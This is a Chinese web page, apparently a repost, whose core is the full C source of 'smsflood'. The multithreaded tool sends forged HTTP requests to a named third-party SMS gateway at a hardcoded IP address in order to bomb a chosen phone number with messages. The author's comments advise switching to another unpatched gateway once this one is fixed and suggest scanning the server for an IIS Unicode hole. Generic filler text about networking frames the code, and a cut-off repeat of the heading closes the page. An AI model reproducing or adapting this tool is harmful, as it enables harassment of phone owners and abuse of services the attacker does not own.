发布时间:2023-09-12 来源:win7旗舰版 浏览量:
网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。 短信攻击新思路短信攻击新思路 /*说明: 作者:Yellow Email:wjj2748_cn@sina.com 日期:2003年9月2日晚 ********************************************************************* 命令行: smsflood <手机号> <发送次数><回车> 程序运行时会查询服务器状态,当服务器状态为40x时可能程序里使用 的短信网关已将洞洞给补上了,因为服务器那里会有发送记录,可能管 理员会发现我们所做的,那时就要再找一个有洞洞网关,然后修改源程 序,再重新编译了.程序虽小,但使用了多线程、临界区、Winsock、 TCP/IP、HTTP协议等技术!是一个不错的网络编程例子程序哦! 这里只是提供一个思路,使用Windows Sockets编程可以让我们获得更多 的底层信息,比如在这个程序里,我们就会发现在服务器使用的是IIS 5.0 如果想进一步攻击,我们可以再编写一个UniCode漏洞扫描程序(该漏洞是 IIS所特有的). ********************************************************************** */ #define _MT//多线程支持 #include <stdio.h> #include <stdlib.h>//memset() #include <string.h> #include <conio.h>//getch() #include <process.h>//_beginthread,使用多线程函数 #include <winsock.h>//socket(),bind(),connect,send(),recv().....,使用套接字函数 #pragma comment(lib,"ws2_32.lib")//连接套接字函数 #pragma comment(lib,"Libcmt.LIB")//连接多线程函数 //inifmt和sendfmt是程序使用的HTTPPOST方法数据包,用我写的listen80程序获得的 char inifmt[]="GET /asp/sms/reguse.asp?strMobilecode=%s HTTP/1.1\n" "Accept: */*\n" "Accept-Language: zh-cn\n" "Accept-Encoding: gzip, deflate\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n" "Host: sms.soufun.com\n" "Connection: Keep-Alive\n\n"; char sendfmt[]="GET /asp/sms/pushpass.asp?strMobilecode=%s HTTP/1.1\n" "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*\n" "Accept-Language: zh-cn\n" "Accept-Encoding: gzip, deflate\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n" "Host: sms.soufun.com\n" "Connection: Keep-Alive\n\n"; char buffer[400]={0},buffer2[300]={0}; struct sockaddr_in server,client; char mobile[11]={0}; int scount=0; CRITICAL_SECTION beswap; /***********************************************************************************************/ void do****amcc(void* parm) { EnterCriticalSection(&beswap); SOCKET sfd; scount++; if((sfd=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET) { printf("为%d攻击线程分配套按字失败....\n",scount--); LeaveCriticalSection(&beswap); return ; } if(bind(sfd,(struct sockaddr *)(&client),sizeof(struct sockaddr))==SOCKET_ERROR) { printf("攻击线程%d地址绑定失败....\n",scount--); LeaveCriticalSection(&beswap); closesocket(sfd); return ; } if(connect(sfd,(struct sockaddr*)&server,sizeof(struct sockaddr))) { printf("攻击线程%d在连接到服务器时失败....\n",scount--); closesocket(sfd); LeaveCriticalSection(&beswap); return ; } printf("线程%d正在发送数据包到%s\n",scount,mobile); memset(buffer,0,380); printf("攻击线程 %d 正在初使化短信攻击数据......\n",scount); wsprintf(buffer,inifmt,mobile); send(sfd,buffer,sizeof(buffer),0); printf("攻击线程 %d 正在发送攻击数据包......\n",scount); wsprintf(buffer,sendfmt,mobile); send(sfd,buffer,sizeof(buffer),0); printf("攻击线程 %d 完成数据包发送,正在查询服务器状态......\a\n",scount); recv(sfd,buffer2,240,0); printf("服务器状态如下:\n%s\n",buffer2); LeaveCriticalSection(&beswap); Sleep(200); } /***********************************************************************************************/ void main(int argc,char **argv) { //1,初使化套接字以及地址和临界区变量 WSADATA data; struct hostent *host=NULL; int begin=0,thread=0; if(argc!=3) { printf("smsflood <mobile> <times>\a\n"); exit(-1); } if(WSAStartup(0x0202,&data)!=0) { printf("WSAStartup error:%d\n",WSAGetLastError()); exit(0); } memset((void*)&server,0,sizeof(struct sockaddr_in)); memset((void*)&client,0,sizeof(struct sockaddr_in)); server.sin_family=AF_INET; server.sin_port=htons(80); server.sin_addr.S_un.S_addr=inet_addr("202.108.253.37"); client.sin_addr.S_un.S_addr=htonl(INADDR_ANY); client.sin_port=htons(0); client.sin_family=AF_INET; thread=atoi(argv[2]); strcpy(mobile,argv[1]); InitializeCriticalSection(&beswap); //2,跟据用户输入启动发送线程 printf("\n短信洪水攻击程序 Ver 1.0.1.11\n\n作者:yellow\n\nEmail:wjj2748_cn@sina.com\n\n"); printf("初使化完成,是否开始攻击?(y/n)\a\n"); if(getch()=='y') { while(begin<thread) { if(_beginthread(do****amcc, 0, NULL )==(long)-1) continue; else begin++; } printf("攻击线程已经,请等待线程退出......\a\n"); } //3,完成发送后,进行必要清理 getch(); printf("按任意键退出......\n"); getch(); WSACleanup(); DeleteCriticalSection(&beswap); //4,退出应用程序 } 网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。 |
短信攻击新思路短信攻击新思路 /*说明: 作者:Yellow Email:wjj2748